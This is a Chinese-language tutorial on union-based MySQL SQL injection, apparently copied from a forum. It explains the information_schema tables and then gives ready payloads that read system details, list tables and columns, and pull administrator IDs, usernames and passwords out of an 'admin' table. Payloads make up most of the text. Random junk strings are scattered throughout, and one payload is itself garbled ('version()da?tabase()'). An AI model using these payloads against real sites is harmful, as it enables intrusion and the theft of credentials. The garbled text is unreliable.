mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

. _( K- c5 p" W! H) i学习盲注前先了解下 IFORMATION_SCHEMA 库
; B8 g) W( p+ b4 I
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
4 B7 z) U! ?7 Q" H; F2 C  b|---字段：SCHEMA_NAME ->数据库名称
* D. X( @1 l  y3 E
|TABLES ->存储表名
; p9 D& c% @+ E3 y9 \# L( ^# k& l|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
5 O1 ^$ P# E: I. N2 z
|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称


3 l3 `/ Y2 G9 f7 c
3 \: f# h& s; G###########################################################################

0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
% j! x9 R& P) w7 M9 ?) C
/*
$ r4 H0 |6 q* w! A+ A. U6 L/ s; b
@@global.version_compile_os 获取系统版本
3 b9 V# S4 ~: ^; a2 v6 N
. S2 S: R. c! d1 v: b1 p@@datadir 数据库路径
3 C- q% Q- M" [database() 当前数据库名称
0x3c62723e 换行HEX值

- Q7 Z4 K: x- ?+ R*/

1 V( t% k# {( G+ ^5 z  K
& }$ M* t5 g3 J
2 m" A) w1 e0 `6 C) S1 f######################################################################
' M% f  k  W6 F% m! {0 Q" ~
. Y. o  ]" r& T5 s$ p0x002 获取表名

! h; e+ J- W) r) dunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



; y2 w) a' _0 r3 U/*
0 v' ^1 v5 r& A8 _2 }
+ ?% [, k3 o; r8 C0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

' C; @3 S, ]. x. ?" d$ l*/

* Y' c- y- @6 e; v######################################################################


# @5 E, ?# B! ~7 W2 n. ]
0x003 获取字段

7 u$ f, a( q6 qunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
5 |$ k, G' V+ w! J4 M5 z: U
/*
! ~, G5 C. u9 K, ~
1 ?- m. y( l! j! k5 O, u2 Ugroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

2 |1 G' E+ r) t# R  P4 b+ i0x61646d696e ->选择一个表

0x67617264656e ->数据库名
% C3 `/ X8 P- W1 m
! _" ^; n4 Y+ F7 |/ g$ g+ T8 {! c*/

#####################################################################
1 j$ q+ c" ~( Y6 p0 K# D7 r
7 S4 P5 }" b2 U. K8 p0 G
! y, ?1 c+ L( }2 ~  {
8 ~2 @6 F, ~7 a* T2 I: g0x004 获取数据
/ X$ A1 t/ ]. L/ ^, K
union select 1,2,3
0 J/ O; ~" O6 g! O,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
$ R1 g" s. Q4 n! S8 T: m
' a: r; |; y1 E% D- k3 y( Cunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
3 f* h9 z- C% B) A* ~1 i, A
( v" T3 ~$ e  Y$ o' J0 c  Q
1 E7 _# b# J  Q$ h8 @* U- t
% P3 P; @1 T9 M* C" X/*

% q8 p" ]. ?/ H6 C! x, {0x3c62723e 换行符号HEX编码
* D! G) \" q9 f* Z: d  i
$ Z5 r& l  g6 egroup_concat 同时获得该字段所有数据
) N0 ]2 a' W$ g7 s2 ^
- s; h: i' a0 E) F! x8 n% ?) t/ x*/

% n6 [: K* F" V: p" j& R0 T+ I  x